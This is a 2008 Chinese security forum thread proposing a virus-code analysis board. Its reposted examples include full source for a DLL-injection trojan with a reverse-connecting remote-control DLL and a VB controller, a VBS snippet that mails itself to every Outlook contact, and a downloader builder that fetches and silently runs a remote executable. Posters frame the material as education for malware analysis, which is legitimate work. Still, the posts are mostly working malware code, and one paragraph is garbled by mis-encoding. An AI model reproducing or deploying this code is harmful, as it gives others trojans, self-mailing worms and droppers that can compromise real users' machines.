查看: 3697|回复: 15
收起左侧

[建议] 关于建立代码(尤其病毒代码)分析区的建议!

[复制链接]
hahacomcn
发表于 2008-3-12 22:29:01 | 显示全部楼层 |阅读模式
其实说到底,病毒就是一段代码组成的,而为什么这样子的代码会产生如此破坏力的,很多时候我们只是知道这是什么什么病毒,或者有什么什么行为,但是不知道里面的结构代码是如何组成的。
       如果能够去其肤,显其筋,露其骨,就可以很清楚的了解里面的脉络关系。这样子不仅可以了解基于特征码分析的机制是如何进行的,还可更深入的了解病毒原理等方面。当然,这个是比较高层次的行为了;不过,在论坛一年多的时间内,也结识了不少高人,尤其是在HIPS和防火墙区。相信如果能设立这么一个板块,看和听到对典型病毒或者一些病毒的基本知识,普及防毒、分析病毒的热情、会另很多之前的小白开始入门,最终也可能成为诸如没注册、银砾石等这样的高手。

       以上是鄙人一些观点,希望theone以及诸位论坛管理员可以参考一下,也期待卡饭论坛越办越好~!

评分

参与人数 1经验 +30 收起 理由
theone + 30 很好的建议: )

查看全部评分

hahacomcn
 楼主| 发表于 2008-3-12 22:31:45 | 显示全部楼层
以下,我就转帖,举一个例子来说明建立这个板块的形式。

《广外男生病毒代码剖析》

信息来源:邪恶八进制信息安全团队

广外男生是广外程序员网络(前广外女生网络小组)精心制作的一款远程控制软件,是一个专业级的远程控制以及网络监控工具。

而广外男生除了具有一般普通木马应该具有的特点以外,还具备独有的特色:
1.客户端高度模仿WINDOWS资源管理器:除了全面支持访问远程服务端的文件系统,也同时支持通过对方的“网上邻居"访问对方内部网其他机器的共享资源!
2.强大的文件操作功能:可以对远程机器进行建立文件夹,整个文件夹(连子目录,文件)一次删除,支持多选的上传,下载等基本功能。同时特别支持高速远程文件查找,而且可对查找结果进行下载和删除的操作!
3.运用了"反弹端口原理"与"线程插入"技术:使用了目前流行的反弹端口的木马技术,由服务端主动连接客户端,因此在互联网上可以访问到局域网里通过 NAT 代理(透明代理)上网的电脑,轻松穿过防火墙(包括:包过滤型及代理型防火墙)。

广外男生外观比较漂亮(哈,人家毕竟是专门做木马的,^_^),笔者最近初步研究了一下这个较新的木马!按照帮助文件配置了木马,在自己的PC上作实验了……
广外男生隐藏了服务端,只有运行服务端时,服务端的进程会短时暴露在任务管理器下,不过是一闪而过!根据广外男生的配置,我们可以知道是它运用了DLL注入到远程进程里面!利用dll插入线程寄生到Windows系统进程(如explorer)中,本身没有单独进程。我们利用注册表监测工具查到复制自身到system32目录下,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中添加自己,复制寄生到进程的一个DLL到system32目录下,随机写入注册表,位置不固定,重启之后随系统进程启动自身。所以手工查杀很麻烦!DLL之所以位置不固定是由于WINDOWS的原因,DLL是被注册到WINDOWS里,手工注册可以使用regsvr32命令注册,程序也可以实现,不过不在本文讨论范围内。至于端口反弹,很简单,就是服务端连接客户端。广外男生有两种连接方式,一种是面向固定IP的,另一种是面向动态IP的。面向固定IP没什么技术可言,服务端直接连接客户端。面向动态IP的通过中间的代理(因为它的IP是固定的),相当于我们使用的肉鸡,通过配置客户端,生成一个HTM的页面,当然数据是经过加密的。服务端每次启动尝试获取这个文件,把里面的内容解密得到用户最新的IP和连接的端口。主要的代码如下:

char *request="GET /guestbook.htm"; //广外男生默认的生成页面
char buffer[2000];
destSockAddr.sin_family = AF_INET;
destSockAddr.sin_port=htons(80);
deskSocketAddr.Sin_Addr.S_Addr= inet_addr(DEST_IP_ADDR); //代理的IP
destSocket=socket(AF_INET,SOCK_STREAM,0);
connect(destSocket,(LPSOCKADDR)&destSockAddr,sizeof(destSockAddr));
send(destSocket,request,strlen(request)+1,0);
recv(destSocket,buffer,2000,0);(续)
 
buffer里就是整个guestbook的内容,当然包括HTTP头部,可以分析里面的内容得到客户机的详细情况!

知道了它的原理,它的神秘面纱很快就被揭开了!我们完全能够用编程实现。为了弄清实现方法,我们必须首先了解Windows系统的另一种"可执行文件"----DLL,DLL是Dynamic Link Library(动态链接库)的缩写,DLL文件是Windows的基础,因为所有的API函数都是在DLL中实现的。DLL文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。运行DLL方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在Windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口Hook、挂接API、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。程序的关键是利用Kernel32.dll中的LoadLibraryA(W)API获取动态链接库函数入口地址,然后运行该地址以后的代码!由于在主?汤锎唇?嗽冻滔叱蹋?冻滔叱滩凰孀胖鹘?痰乃劳龆?劳觯?挥械彼拗魉劳鍪毕叱滩呕嵬V乖诵校≡诓迦朐断叱讨?氨匦胗蠸E_DEBUG_NAME权限才能插入远线程!OK,我们下面用代码来实现!

/*********************************************
*  inject.c =>inject.exe
*  Author: leonshoh Wong
********************************************/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
         
HANDLE hRemoteThread,hRemoteProcess;
DWORD dwRemoteProcessid;
PWSTR pszLibFileRemote=NULL;

DWORD ProcesstoPid(char *pid) //查找指定进程的PID(Process ID)
{
HANDLE hProcessSnap=NULL;
char buffer[MAX_PATH];
PROCESSENTRY32 pe32={0};
int i;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //打开进程快照
if(hProcessSnap==(HANDLE)-1)
{
printf("\nCreateToolhelp32Snapshot() Error: %d",GetLastError());
return 0;
}
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap,&pe32)) //开始枚举进程
{
do
{
  strcpy(buffer,pe32.szExeFile);
  for(i=strlen(buffer);i>0;i--) //截取进程名
  if(buffer==&#39;\\&#39;)
   break;
  if(!strcmp(pid,&buffer)) //判断是否和提供的进程名相等,是,返回进程的ID
   return pe32.th32ProcessID;
}
while(Process32Next(hProcessSnap,&pe32)); //继续枚举进程
}
else
{
printf("\nProcess32First() Error: %d",GetLastError());
return 0;
}
CloseHandle(hProcessSnap); //关闭系统进程快照的句柄
return 0;
}

BOOL SetPrivilege() //本函数用于提升权限,提升到SE_DEBUG_NAME
{
TOKEN_PRIVILEGES tkp;
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))    //打开当前进程失败
return FALSE;
LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid); //查看当前权限
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); //调整权限,如上设置
return TRUE;
}

int main()
{
int  cb;
PTHREAD_START_ROUTINE pfnstartaddr;
DWORD Threadid=0;
char pszlibfilename[MAX_PATH];
dwRemoteProcessid=ProcesstoPid("notepad.exe"); //得到记事本的PID,当然也可以得到EXPLORER.EXE的PID,不过除非结束它的进程,不然一直驻留在内存中!
GetCurrentDirectory(MAX_PATH,pszlibfilename); //得到当前的目录路径
if(pszlibfilename[strlen(pszlibfilename)-1]!=&#39;\\&#39;) //判断是否为根目录
strcat(pszlibfilename,"file://Trojan.dll/");
else
strcat(pszlibfilename,"Trojan.dll"); //连接要插入的动态连接库的文件名(这里是Trojan.dll)


if(!SetPrivilege())
{
printf("Error in SetPrivilege(): %d\n",GetLastError());
return 1;
}

hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,FALSE,dwRemoteProcessid); //打开notepad.exe的进程得到进程句柄,注意第一个参数(打开句柄设置的权限)

if(!hRemoteProcess)
{
printf("Remote Process not Exist or Access Denied\n");
return -1;
}

cb=(1+strlen(pszlibfilename))*sizeof(char); //计算dll文件名长度

pszLibFileRemote=VirtualAllocEx(hRemoteProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE); //申请存放文件名的空间

if(!pszLibFileRemote)   
{
printf("VirtualAllocEx() Error: %d",GetLastError());
return -1;
}

if(!WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(PVOID)pszlibfilename,cb,NULL)) //把dll文件名写入申请的空间
{
printf("WriteProcessMemory() Error: %d",GetLastError());
return -1;
}

pfnstartaddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),"LoadLibraryA"); //获取动态链接库函数地址

if(!pfnstartaddr)
{
printf("GetProcAddress() Error: %d\n",GetLastError());
return -1;
}

hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnstartaddr,pszLibFileRemote,0,&Threadid); //创建远程线程,以DLL的文件名为远线程的参数
printf("inject successfully\n");

if(!hRemoteThread)
{
printf("CreateRemoteThread() Error: %d\n",GetLastError());
return -1;
}

WaitForSingleObject(hRemoteThread,INFINITE); //等待,其实可以设置一个超时值,这里是无限等待,这句一定要写,不写就要出错,我已经试过了
if(pszLibFileRemote!=NULL) //以下是清理过程,不必多讲了!
{
VirtualFreeEx(hRemoteProcess,pszLibFileRemote,0,MEM_RELEASE);
}
if(hRemoteThread !=NULL)
{
CloseHandle(hRemoteThread);
}
if(hRemoteProcess!=NULL)
{
CloseHandle(hRemoteProcess);
}
printf("\nDone!");
return 0;

}

好了,把插入的程序写完了,很简单吧!如果感到有点麻烦的话,请准备一本WINAPI的参考手册,以备随时查看。下面我们写一个具有初步木马功能的特洛伊动态连接库。呵呵,还具有端口反弹!用来测试注入程序的正确!这里我们只是用来测试,服务端是用单个线程的,只能连接一次,当然你可以重启服务端!


// Trojan.cpp : Defines the entry point for the DLL application.
/***************************************************************
* Trojan.c=>Trojan.dll
* Author:leonshoh Wong
* E-mail:leonshoh@hackbase.net
***************************************************************/

#include <windows.h>
#include <winsock.h>
#define NO_FLAGS_SET 0
#define PORT 80 //远程的连接端口(一般HTTP隧道技术都用这个端口)
#define DEST_IP_ADDR "127.0.0.1" //要连接的远程IP(这里用自己当肉鸡了)

int StartSocket();
void recy(char *,int);
void docmd(char *);
BOOL EnablePrivilege(LPTSTR);

void ShowError(char *function) //提示错误的函数
{
char buffer[MAX_PATH];
memset(buffer,0x0,MAX_PATH);
wsprintf(buffer,"%s Error: %d",function,GetLastError());
MessageBox(NULL,buffer,"Error",MB_OK);
}

BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)  //动态连接库的入口,相当于main()函数
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
  DWORD id;
  CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartSocket,NULL,0,&id);
  break;
}
default:
break;
}
return TRUE;
}

int StartSocket()
{
char buffer[25000]; //缓冲区(要足够大,避免缓冲区溢出)
WSADATA Data;
SOCKADDR_IN destSockAddr;
SOCKET destSocket;
unsigned long destAddr;
int status,numsnt;
MessageBox(NULL,"The Dll Injected Successfully!","Success",MB_OK); //提示线程注入代码以成功运行!
status=WSAStartup(MAKEWORD(1,1),&Data); //启动WINSOCK,这里我们用的版本是1.1,反正一样,WINSOCK向下是兼容的
if(status)
{
ShowError("WSAStartup()");
return 1;
}
destAddr=inet_addr(DEST_IP_ADDR);
memcpy(&destSockAddr.sin_addr,&destAddr,sizeof(destAddr));
destSockAddr.sin_family = AF_INET; //这里是Internet
destSockAddr.sin_port =htons(PORT); //在结构里写入端口
destSocket=socket(AF_INET,SOCK_STREAM,0); //建立SOCKET
if(destSocket==INVALID_SOCKET)
{
ShowError("socket()");
return 1;
}
do
{
status=connect(destSocket,(LPSOCKADDR)&destSockAddr,sizeof(destSockAddr));
Sleep(250);
}
while(status==SOCKET_ERROR); //每隔250毫秒,连接客户端,如果连上就继续
while(TRUE)
{
numsnt=recv(destSocket,buffer,strlen(buffer)+1,NO_FLAGS_SET); //接受客户端发来的命令
buffer[numsnt]=0x0;
recy(buffer,numsnt); //解析并执行命令
Sleep(100);
}

return TRUE;
}
void recy(char *cmd,int num)
{
char buffer[25000];
strcpy(buffer,cmd);
buffer[num+1]=0x0;
buffer[3]=0x0;
if(!strcmp(buffer,"cmd")) //比较命令,如果是指令,交给docmd()函数处理
docmd(&cmd[4]);
if(!strcmp(buffer,"msg")) //如果是消息,则显示消息
MessageBox(NULL,&buffer[4],"Alert",MB_OK);
}

BOOL EnablePrivilege(LPTSTR privilege) //提升权限(NT,2K下程序要有足够的权限才能关机)
{
HANDLE token;
LUID luid;
TOKEN_PRIVILEGES tokenPrivileges;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&token))
{
ShowError("OpenProcessToken()");
return FALSE;
}
if(!LookupPrivilegeValue(0,privilege,&luid))
{
ShowError("LookupPrivilegeValue()");
return FALSE;
}
tokenPrivileges.PrivilegeCount =1;
tokenPrivileges.Privileges[0].Luid=luid;
tokenPrivileges.Privileges[0].Attributes =SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(token,FALSE,&tokenPrivileges,0,0,0);
return TRUE;
}


void docmd(char *cmd)
{
if(!strcmp(cmd,"reboot")) //重启计算机
{
if(EnablePrivilege(SE_SHUTDOWN_NAME))
  ExitWindowsEx(EWX_REBOOT,0);
}
if(!strcmp(cmd,"logoff")) //注销
{
if(EnablePrivilege(SE_SHUTDOWN_NAME))
  ExitWindowsEx(EWX_LOGOFF,0);
}
if(!strcmp(cmd,"showdown")) //关机
{
if(EnablePrivilege(SE_SHUTDOWN_NAME))
  ExitWindowsEx(EWX_FORCE,0);
}
} 

好了,服务端也写好了,我们来测试一下,注意:把EXE和DLL文件放在同一目录下,执行inject.exe,如图3显示:

是不是还少了什么?是呀,客户端,没有客户端怎么控制??也许有人会讲向蓝色火焰一样的木马是可以用telnet连接,不用开发方的客户端,不过这个是端口反弹的木马,不能用客户端去连接服务端。不过,很快,我们用大家都很熟悉的VB写一个客户端,呵呵,用上WINSOCK控件,几句话就解决问题了,好了,开工了!


/*************************************************************
‘* This is the Client of Trojan
‘* Author:leonshoh
‘* E-mail:leonshoh2236@hotmail.com
‘*************************************************************/
Private Sub Form_Load()
logoff.Enabled = False ‘//把所有的按钮控件在连接前设为不可用,避免出错
reboot.Enabled = False
shutdown.Enabled = False
send.Enabled = False
socket.LocalProt = 80 ‘//在80端口监听
socket.Listen ‘//开始监听
End Sub

Private Sub logoff_Click()
socket.SendData "cmd_logoff"
End Sub

Private Sub reboot_Click()
socket.SendData "cmd_reboot"
End Sub

Private Sub send_Click()
socket.SendData "msg_" & Text1.Text
Text1.Text = "" ‘//发完一次消息清空文本框
End Sub

Private Sub shutdown_Click()
socket.SendData "cmd_shutdown"
End Sub  ‘//以上是发送命令到服务端,转交服务端执行

Private Sub socket_ConnectionRequest(ByVal requestID As Long)
If socket.State <> sckClosed Then ‘//接到请求后检查状态,如果socket没有关闭,则关闭
socket.Close
End If
socket.Accept requested ‘//接受客户端请求
MsgBox "The Trojan has connected", vbOKOnly, "Alert" ‘//提示已经连上
logoff.Enabled = True
reboot.Enabled = True
shutdown.Enabled = True
send.Enabled = True //恢复按钮,为可用
End Sub 

好,我们执行一下写的所有程式,先运行inject.exe再运行Client.exe。看,服务端连上来了,成功了!

好了,一个简单的DLL注入和端口反弹的木马就实现了!当然,一个强大的木马有很强大的功能,实现这些功能需要懂得很多系统编程方面的细节,具体可以看shotgun的《揭开木马神秘面纱》,对我们很有启发!这里我就不在重复里面的内容了!
这里,我不是鼓励大家去写木马,而是想说明神秘面纱背后其实也不过如此,由于本人技术有限,错误再所难免,请大家指教
fsr717af
发表于 2008-3-12 22:33:44 | 显示全部楼层
很不错的建议  希望老大考虑考虑!!
fuuuyou
发表于 2008-3-12 22:34:14 | 显示全部楼层
不错不错,haha的板凳支持
邪恶八进制,好熟悉的名字。。。
hahacomcn
 楼主| 发表于 2008-3-12 22:37:52 | 显示全部楼层
还有短小精悍的代码之类的:(出处同上)

VBS病毒的自动邮件传播代码

Set ol=CreateObject("Outlook.Application") On Error Resume Next
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject=""
Mail.Body=""
Mail.Attachments.Add(dir2&"Win32system.vbs")
Mail.Send
Next
ol.Quit

[ 本帖最后由 hahacomcn 于 2008-3-12 22:42 编辑 ]
心の语
发表于 2008-3-12 22:42:37 | 显示全部楼层
来支持下。。。
hahacomcn
 楼主| 发表于 2008-3-13 08:54:07 | 显示全部楼层
扒了下载者的皮——从源码看下载者生成器

原始出处:蚂蚁源码博客

之前有看过别人写的下载者的软件,
这段时间在看VC,所以就找了一份源代码回来
学编程多看别人的代码,这是句老话,但确实从别人的代码里面能学到很多

下载者生成器主要分为两部分: 下载者,生成器;

1.下载者部分实现

#pragma comment(linker,"/ENTRY:Entrypoint /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text /SECTION:.text,EWR /IGNORE:4078")
#include
#pragma comment (lib,"Urlmon.lib")//URLDownloadToFile
void Entrypoint()
{
URLDownloadToFile(0,"##################################################","c:\\s.exe", 0, 0);
WinExec("c:\\s.exe",SW_HIDE);
exit(0);
}

这部分是下载者部分的源码
#pragma comment(linker,"/ENTRY:Entrypoint /FILEALIGN:0x200 /MERGE:.data=.text /MERGE:.rdata=.text /SECTION:.text,EWR /IGNORE:4078")
#include
#pragma comment (lib,"Urlmon.lib")//URLDownloadToFile
这部分主要的思想是让程序编译出来的更小,详细的解释可以参考msdn(这玩意编程是必须的如果你在windows环境下的话,怎么也得有一份吧!)

void Entrypoint()
{
URLDownloadToFile(0,"##################################################","c:\\s.exe", 0, 0);
WinExec("c:\\s.exe",SW_HIDE);
exit(0);
}
[URL=http://][/URL]这部分是实现部分,其实里面也就 两个函数 URLDownloadToFile WinExec
URLDownloadToFile 作用是下载文件 然后保存为 s.exe
WinExec 作用是执行文件 SW_HIDE参数是隐藏执行

完成后编译成 mindownload.exe

2.生成器部分实现
建立一个MFC 的对话框程序,按照上面图片的布局调整好,
生成器的核心部分有两个: 要下载文件名的插入 ,生成

首先把 mindownload.exe 以资源的方式调入到本程序中
然后就是代码部分的实现:
void CDownloadDlg::OnOK()
{
char url[52];
memset(url,0,52);
CString temp;
GetDlgItem(IDC_HTTP)->GetWindowText(temp);
if(temp=="")
{
AfxMessageBox("配置错误!");
return;
}
sprintf(url,"%s",temp);

HRSRC hResInfo;
HGLOBAL hResData;
DWORD dwSize,dwWritten;
LPBYTE p;
HANDLE hFile;
// 查找所需的资源
hResInfo = FindResource(NULL,MAKEINTRESOURCE(IDR_EXE),"EXE");
if(hResInfo == NULL) return;
// 获得资源尺寸
dwSize = SizeofResource(NULL,hResInfo);
// 装载资源
hResData = LoadResource(NULL,hResInfo);
if(hResData == NULL) return;
// 为数据分配空间
p = (LPBYTE)GlobalAlloc(GPTR, dwSize);
if (p == NULL) return;
// 复制资源数据
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
CopyMemory((LPVOID)(p + 0x23c), (LPCVOID)url,52);

char Path[256];
GetCurrentDirectory(256, Path);
strcat(Path,"\\SEU_downloader.exe");
DeleteFile(Path);
hFile = CreateFile(Path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
if(hFile == NULL) return;

WriteFile(hFile,(LPVOID)p,dwSize,&dwWritten,NULL);
CloseHandle(hFile);
AfxMessageBox("成功生成!");
}

看这两句:
CopyMemory((LPVOID)p, (LPCVOID)LockResource(hResData), dwSize);
CopyMemory((LPVOID)(p + 0x23c), (LPCVOID)url,52);

第一句是把exe 也就是下载者读入到内存,第二句是把我们填写的需要下载的exe路径写入到exe中
到此你应该清楚了在下载者代码中
URLDownloadToFile(0,"##################################################","c:\\s.exe", 0, 0);
这句的含义了吧, 程序就是用我们需要下载的文件地址去填充“#”号

此生成器的核心部分就是如此 按照这个思路就可以写你自己的下载者生成器
xiaosese
发表于 2008-3-13 11:19:58 | 显示全部楼层
我真的看不懂
ALEXBLAIR
发表于 2008-3-13 12:06:23 | 显示全部楼层
不错的想法

不过,论坛的code语句貌似还存在排版问题。

不知道是否可以采用word、txt或者pdf等文档的形式来表达程序。。。
hahacomcn
 楼主| 发表于 2008-3-13 12:22:03 | 显示全部楼层
原帖由 ALEXBLAIR 于 2008-3-13 12:06 发表
不错的想法

不过,论坛的code语句貌似还存在排版问题。

不知道是否可以采用word、txt或者pdf等文档的形式来表达程序。。。


呵呵,,这个排版的问题应该好解决的。

我感觉如果设立这么一个板块的话,可以和病毒样本区结合在一起。
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-2 14:01 , Processed in 0.129707 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表